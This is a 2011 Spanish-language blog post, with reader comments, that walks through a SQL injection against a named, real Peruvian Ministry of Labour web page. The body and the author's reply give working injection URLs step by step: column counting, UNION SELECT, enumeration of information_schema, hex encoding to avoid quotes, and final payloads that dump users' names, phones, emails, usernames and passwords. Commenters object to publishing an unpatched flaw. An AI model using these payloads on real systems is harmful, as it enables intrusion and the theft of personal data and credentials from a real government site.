miércoles, 26 de enero de 2011

SQL Injection en www.mintra.gob.pe

Hace un par de días, mientras buscaba algunos ejemplos para la segunda parte de la serie "SQL Injection Web Attacks" (que espero publicar pronto), me topé con un SQLi en la página web del ministerio de trabajo xD

La URL en cuestión es esta:

http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23

Como aún falta para la segunda parte, vamos a adelantar el postre y explicaré como encontré este SQLi.


En la URL podemos observar que se envía un solo parámetro: "codTupa=23". Así que testearemos ese. La primera prueba será poner una comilla simple, esto con la intención de generar un error de sintaxis en la consulta. Veamos:

http://www.mintra.gob.pe/mostrarTupa.php?codTupa='

Como resultado nos muestra una página en blanco. Esto puede ser por que se generó el error de sintaxis y php esta configurado para no mostrar errores. Aunque también podría tratarse de otra clase de error como tipo de dato incorrecto.

Para estar seguros haremos otra prueba. Se trata de generar una tautología (una condición siempre verdadera) e intentar listar todos los registros.

http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23 or 1=1

Como resultado obtenemos un Internal Server Error. Quizá se deba a que la cantidad de registros seleccionados es demasiado grande.


Hasta este punto ya es demasiado sospechoso pero aún no hemos demostrado nada. Hagamos una última prueba, generaremos una contradicción:

http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23 and 1=1

http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23 and 1=0

Con "and 1=1" la página no cambia, por que la condición sigue teniendo el mismo valor. Pero cuando cambiamos a "and 1=0" se genera una contradicción, la condición siempre será falsa y no se seleccionará ningún registro. Como resultado nos muestra un mensaje que dice: "no se encontraron coincidencias"


Con eso ya hemos comprobado que existe la vulnerabilidad.

Ahora juguemos un poco xD Lo primero que debemos hacer para explotar un SQLi es averiguar el número de columnas que se están seleccionando en la consulta. Para esto podemos utilizar la clausula ORDER BY que indica respecto a que columna ordenar el resultado. Veamos:

http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23 order by 1 (ordenar por la primera columna)
http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23 order by 2 (ordenar por la segunda columna)
http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23 order by 3 (ordenar por la tercera columna)
...

Y así se va incrementando el número de la columna hasta que produzca error. El error se producirá cuando el número de columna exceda la cantidad de columnas seleccionadas. Hacerlo de esta manera te va a tomar algo tiempo cuando se seleccionan muchas columnas. Normalmente se usa una estrategia de búsqueda binaria que es mucho más eficiente. Veamos:

http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23 order by 10 (OK)
http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23 order by 20 (Error)
http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23 order by 15 (OK)
http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23 order by 17 (OK)
http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23 order by 18 (Error)

Con lo que se puede concluir que se están seleccionando 17 columnas.

Luego debemos averiguar cuales de las columnas seleccionadas se muestran en la página web. Para ello usaremos UNION SELECT de esta manera:

http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23 and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%23

El "and 1=0" sirve para anular la consulta original y que solo se seleccionen los números del 1 al 17. La idea es buscar después cuales de esos números aparecen en la pagina web. El "%23" que va al final es el carácter "#" codificado en hexadecimal y sirve para comentar lo que venga después, si pruebas quitándolo botará un error. También se puede usar "--" para comentar.


En la imagen podemos ver la distribución de las columnas seleccionadas.

Ahora escogemos cualquiera de las columnas y la usaremos para extraer información de la base de datos. Por ejemplo, yo escogeré la columna 16. Para averiguar la versión de MySQL hariamos esta consulta:

http://www.mintra.gob.pe/mostrarTupa.php?codTupa=23 and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,version(),17%23


La versión es 5.0.77. De forma similar podemos obtener el nombre del usuario de la base de datos llamando a la función current_user()

Ahora algunas consultas un tanto más interesantes. Si quisieramos saber el nombre de las bases de datos disponibles hariamos una consulta a la tabla "schemata" de la base de datos "information_schema" de esta manera:

http://www.mintra.gob.pe/mostrarTupa.php?codTupa=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,schema_name,17+from+information_schema.schemata%23

Pues como verás hay 3 bases de datos disponibles: information_schema, DB_PAGWEB y TEST. La más interesante parece ser DB_PAGWEB, así que consultaremos por las tablas que contiene:

http://www.mintra.gob.pe/mostrarTupa.php?codTupa=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,table_name,17+from+information_schema.tables+where+table_schema=0x44425F504147574542%23

La tabla "tables" de information_schema almacena el nombre de todas las tablas sin embargo solo seleccionaremos las que pertenezcan a "0x44425F504147574542" que es "DB_PAGWEB" codificado en hexadecimal. Hice eso por que cuando pongo el nombre de la base de datos entre comillas simples bota error. Bien, esa es una forma de evitar las comillas ;)

Hay muchas tablas pero creo que la más interesante es "PWTBC_USUARIO". Listaremos los nombres de las columnas de esta tabla:

http://www.mintra.gob.pe/mostrarTupa.php?codTupa=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,column_name,17+from+information_schema.columns+where+table_schema=0x44425F504147574542+and+table_name=0x50575442435F5553554152494F%23

Esta vez preguntamos a la tabla "columns" y nuevamente usamos la representación hexadecimal de los nombres de la base de datos "DB_PAGWEB" y la tabla "PWTBC_USUARIO" para evitar las comillas.

Bien, ahora que ya sabemos los nombres de la base de datos, la tabla y las columnas, hagamos un listado de toda la información de los usuarios xD

http://www.mintra.gob.pe/mostrarTupa.php?codTupa=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat%28I_CODUSU,0x3A,V_NOMBREUSU,0x3A,V_APEMATUSU,0x3A,V_APEPATUSU,0x3A,V_EMAIL,0x3A,V_NUMCEL,0x3A,V_NUMTEL,0x3A,V_USUARIO,0x3A,V_PASUSU%29,17+from+PWTBC_USUARIO%23

Y ahí los tienes... nombres, teléfonos, correo, usuario y contraseña de todos los usuarios de la web xD

Es todo por ahora... un saludo y hasta pronto.

5 comentarios:

  1. Man, creo necesario hacer un coment al respecto de esta publicación...

    La verdad me parece mostro el blog, y los temas tratados, pero creo que esta no es la manera de hacer las publicaciones sobre las vulnerabilidades mas aún con una legislación vigente, y con la posibilidad de que dicha vulnerabilidad no haya sido parchada todavía... digamos que en todo caso deberías de ver la forma que la institución a la que se hace mención no se vea afectada...

    Hay una serie de estándares internacionales para realizar la publicación de vulnerabilidades, un tema de informarles a los admins, y unos tiempos definidos sobre los cuales, si es que las autoridades pertinentes deciden no hacer nada por corregirlo, uno puede realizar las publicaciones que crea conveniente (con sus límites éticos y todo eso)...

    Creo que es un muy buen proyecto, y considerando que somos pocos los que nos dedicamos localmente a ver temas de seguridad, creo que es mi deber avisarles para que no crucen la delgada línea con la cual nos cruzamos diariamente en este mundo de la seguridad de la información...

    Paz y un abrazo...

    JP.

    ResponderEliminar
  2. Tienes razón, en realidad si traté de avisarles enviándoles un mail pero no recibí respuesta. Además mientras hacía las pruebas encontré que google ya tenia indexado un link explotando esta vulnerabilidad, solo había que buscar así:

    site:www.mintra.gob.pe codTupa

    (aparece en el sexto resultado más o menos) y es este:

    http://www.mintra.gob.pe/mostrarTupa.php?codTupa=-3/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat%28I_CODUSU,0x3a,0x3a,I_CODOFICIN,0x3a,0x3a,I_CODROL,0x3a,0x3a,I_TIPCONSUL,0x3a,0x3a,V_NOMBREUSU,0x3a,0x3a,V_APEPATUSU,0x3a,0x3a,V_APEMATUSU,0x3a,0x3a,V_EMAIL,0x3a,0x3a,V_NUMTEL,0x3a,0x3a,V_NUMCEL,0x3a,0x3a,V_USUARIO,0x3a,0x3a,V_PASUSU%29,17/**/from/**/PWTBC_USUARIO--

    Por lo que supuse que ya llevaba tiempo y que había poco interés en corregirlo. Pero sí, tienes razón, es necesario informar. Espero que tengas más éxito que yo en ello.

    Gracias por el interés en el blog :) el tuyo también me parece muy interesante, te linkearé si estás de acuerdo :)

    Un cordial saludo JP.

    ResponderEliminar
  3. Estimado, el contenido del blog esta muy bueno. Siempre es interesante encontrar gente peruana metida en el tema y con ganas de compartir.

    Ten en cuenta los consejos de JP antes de revelar vulnerabilidades, podrias meterte en problemas ademas de ayudar a algun script kiddie con ganas de malograr algo.

    Saludos !

    ResponderEliminar
  4. Para mí también es agradable encontrar personas con quienes compartir y de quienes aprender.

    Estén seguros que tendré en cuenta sus consejos :) Muchas gracias.

    Un saludo, hasta pronto.

    ResponderEliminar
  5. yo trabajo en la empresa btl torres limatambo y mi farma con direcion calle cappa 193 urb parque industrial callao,mi queja no han subido sueldo basico,el presidente declaro para todos,aurita sueldo basico en la empresa btl es s550 y trabajamos 9 horas dentro de la tienda ,trabajamos los dias feriados , no pagan feriados tan poco no pagan horas extras por favor necesitamos q se haga justicia colaboro como tecnica en famrmacia necesitamos justiacia para los tecnicos, muchas gracias

    ResponderEliminar